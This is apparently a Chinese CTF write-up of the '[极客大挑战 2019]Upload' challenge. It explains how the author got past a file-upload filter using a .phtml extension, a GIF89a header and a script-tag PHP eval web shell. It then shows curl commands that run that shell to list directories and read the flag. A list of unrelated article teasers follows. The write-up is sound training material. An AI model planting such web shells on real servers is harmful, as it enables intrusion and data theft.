[极客大挑战 2019]Upload

发布时间:2026/7/26 6:04:18

[极客大挑战 2019]Upload
正文一、网站侦查二、测试过滤规则三、绕过 ? 过滤四、 执行命令获取 flag核心思路总结正文一、网站侦查访问目标网站发现是一个文件上传页面提交到upload_file.php。通过 curl 查看响应头获得关键信息curl-s-vhttp://ceb1f6a05511faab4e30876f.http-ctf2.dasctf.com:8021服务器: openresty (nginx 变体)PHP 版本: 5.5.9-1ubuntu4.29上传接口:/upload_file.php上传路径:/upload/二、测试过滤规则通过多次上传测试逐步发现了服务器的三层过滤机制测试上传的文件内容服务器响应结论.php后缀?php phpinfo();?Not image!后缀名被检查.jpg/.png后缀 GIF89a 头GIF89a?php ...Dont lie to me, its not image at all!!!扩展名必须匹配文件头.gif后缀 GIF89a 头 ?phpGIF89a?php ...NO! HACKER! your file included ?内容中过滤了?.pht/.php5/.php4/.php3GIF89a?php ...NOT pht!/NOT php5!等黑名单检测额外的 PHP 扩展名.phtml后缀GIF89a?php ...NO! HACKER! your file included ?.phtml不在黑名单中但?仍然被过滤说明phtml可以上传但文件内容不能包含?三、绕过?过滤PHP 支持多种方式标记 PHP 代码?php ... ?标准方式被过滤? ... ?短标签也被过滤因为包含?script languagephp ... /script不含?可以绕过所以可以构造phtml格式的PayloadGIF89ascript languagephpeval($_POST[cmd]);/script四、 执行命令获取 flag上传webshell.phtml文件文件存储在/upload/webshell.phtml通过 POST 发送cmd参数执行 PHP 命令# 列出根目录发现 /flag 文件curl-shttp://target/upload/webshell.phtml-dcmdvar_dump(scandir(/));# 读取 flagcurl-shttp://target/upload/webshell.phtml-dcmdecho file_get_contents(/flag);核心思路总结文件上传绕过 扩展名绕过 内容校验绕过 内容过滤绕过扩展名: .phtml黑名单也许漏了它图片头: GIF89a让 getimagesize() 以为是真图片PHP 代码:script languagephp不含?绕过关键字过滤

相关新闻

Claude API开发实战:从基础调用到企业级应用

Claude API开发实战:从基础调用到企业级应用

2026/7/26 6:04:18

1. 项目概述"Claude Code - The Practical Guide"是一份面向开发者的实战指南,专注于帮助程序员快速掌握Claude AI的编程接口和应用开发技巧。作为一名长期从事AI应用开发的工程师,我发现很多同行在使用Claude API时都会遇到相似的困惑和挑战&…

Linux Pacemaker 高可用集群配置与 Nginx 优化实战指南

Linux Pacemaker 高可用集群配置与 Nginx 优化实战指南

2026/7/26 6:04:18

1. 概述:Pacemaker 高可用核心逻辑 Pacemaker 高可用配置的核心流程遵循一个清晰的逻辑链条: 建立集群基础:配置节点互信与集群通信。初始化集群:启动集群服务并完成基础配置(如禁用 STONITH)。定义与管理资…

ARM Cortex-M4异常处理与μDMA控制器实战解析

ARM Cortex-M4异常处理与μDMA控制器实战解析

2026/7/26 6:04:18

1. 项目概述与核心价值在嵌入式系统开发,尤其是基于ARM Cortex-M系列处理器的项目中,异常处理和直接内存访问(DMA)是决定系统稳定性和性能上限的两大基石。很多开发者,尤其是从应用层转向底层或从单片机入门的朋友&…

Fast DDS架构解析:C++设计模式与高性能通信的工程实践

Fast DDS架构解析:C++设计模式与高性能通信的工程实践

2026/7/26 6:54:20

1. 项目概述:为什么Fast DDS与C面试题会放在一起聊?最近在技术社区和招聘讨论里,我注意到一个挺有意思的现象:很多朋友在准备C岗位面试时,一方面被“八股文”式的语言基础题搞得焦头烂额,另一方面&#xff…

AI辅助工具如何提升职称论文写作效率

AI辅助工具如何提升职称论文写作效率

2026/7/26 6:54:20

1. 论文写作效率革命:AI辅助工具的价值解析职称论文写作向来是职场人士晋升路上的关键挑战。从选题构思到文献综述,从数据分析到格式排版,每个环节都需要投入大量时间精力。而AI写作工具的兴起,正在改变这一传统工作模式。我作为科…

Python爬虫进阶:TLS指纹伪装与请求头优化实战指南

Python爬虫进阶:TLS指纹伪装与请求头优化实战指南

2026/7/26 6:54:20

1. 项目概述:为什么现代爬虫必须关注TLS指纹与请求头如果你还在用requests.get()加上一个简单的User-Agent就以为能畅通无阻地爬取数据,那你的爬虫可能早就被目标网站标记、限流甚至直接封禁了。今天要聊的,是爬虫工程师进阶路上必须翻越的两…

Cisco无线控制器证书过期导致AP批量离线:诊断与根治方案

Cisco无线控制器证书过期导致AP批量离线:诊断与根治方案

2026/7/26 6:54:20

1. 项目概述与问题定位最近在维护一套老旧的Cisco无线控制器(WLC)和接入点(AP)网络时,碰到了一个相当典型但又容易让人头疼的问题:一批AIR-CT2504-15-K9控制器下的AP,突然集体“失联”&#xff…

C/C++项目构建实战:从编译链接原理到CMake跨平台配置

C/C++项目构建实战:从编译链接原理到CMake跨平台配置

2026/7/26 6:54:20

1. 项目概述:从“自用笔记”到系统性工程认知 最近在整理自己过去几年写C/C项目时攒下的各种零散笔记,发现里面充斥着各种关于编译、链接、CMake配置、目标平台(比如恼人的x86_amd64)的报错和临时解决方案。这些笔记当初只是为了快…

数据中心液冷选型与验收:前20个工程问题及核对方法

数据中心液冷选型与验收:前20个工程问题及核对方法

2026/7/26 6:44:19

摘要本文以工程项目视角,整理数据中心液冷的20个基础问题,覆盖冷板、浸没、CDU、一次侧/二次侧、冷却液物性、材料兼容、过滤、循环和验收。文中不以单一TDS替代系统验证。正文数据中心液冷项目的技术风险,通常不来自某一个参数,而…

[具身智能-649]:个人电脑搭建 RTSP 服务完整方案(Windows / Ubuntu 双平台,适配 RDK X5 rtsp2display 调试)

[具身智能-649]:个人电脑搭建 RTSP 服务完整方案(Windows / Ubuntu 双平台,适配 RDK X5 rtsp2display 调试)

2026/7/26 0:04:02

目标:电脑作为RTSP 服务端,循环推送 H264/H265 视频流; RDK X5 通过 rtsp2display 拉流预览,完全不需要在开发板编译 live555。 提供两套成熟方案: ✅ 方案 A:FFmpeg(最简单,优先推…

PDF合并与动态水印的工程化方案:2026国内免费工具实测对比

PDF合并与动态水印的工程化方案:2026国内免费工具实测对比

2026/7/26 0:04:02

一、背景与测试方案 在实际项目交付中,PDF文件合并与版权保护水印的叠加是一个高频但容易被低估的技术需求。典型的处理链路涉及:多源PDF的文件流合并、页面级水印渲染(含透明度混合与图层叠加)、输出文件体积控制。看似简单的操作…

PDF拆分压完图糊了?2026国内免费实测,档案员都在用的组合方案

PDF拆分压完图糊了?2026国内免费实测,档案员都在用的组合方案

2026/7/26 0:04:02

说实话,提到PDF拆分再压缩,我真是被折腾得够呛。 上个月公司年度合同归档,一份300多页的PDF总合同,需要按年份拆分成三个独立文件,再分别压缩到10MB以内方便邮件发送各部门确认。我心想这还不简单?先找个海…

[具身智能-649]:个人电脑搭建 RTSP 服务完整方案(Windows / Ubuntu 双平台,适配 RDK X5 rtsp2display 调试)

[具身智能-649]:个人电脑搭建 RTSP 服务完整方案(Windows / Ubuntu 双平台,适配 RDK X5 rtsp2display 调试)

2026/7/26 0:04:02

目标:电脑作为RTSP 服务端,循环推送 H264/H265 视频流; RDK X5 通过 rtsp2display 拉流预览,完全不需要在开发板编译 live555。 提供两套成熟方案: ✅ 方案 A:FFmpeg(最简单,优先推…

PDF合并与动态水印的工程化方案:2026国内免费工具实测对比

PDF合并与动态水印的工程化方案:2026国内免费工具实测对比

2026/7/26 0:04:02

一、背景与测试方案 在实际项目交付中,PDF文件合并与版权保护水印的叠加是一个高频但容易被低估的技术需求。典型的处理链路涉及:多源PDF的文件流合并、页面级水印渲染(含透明度混合与图层叠加)、输出文件体积控制。看似简单的操作…

PDF拆分压完图糊了?2026国内免费实测,档案员都在用的组合方案

PDF拆分压完图糊了?2026国内免费实测,档案员都在用的组合方案

2026/7/26 0:04:02

说实话,提到PDF拆分再压缩,我真是被折腾得够呛。 上个月公司年度合同归档,一份300多页的PDF总合同,需要按年份拆分成三个独立文件,再分别压缩到10MB以内方便邮件发送各部门确认。我心想这还不简单?先找个海…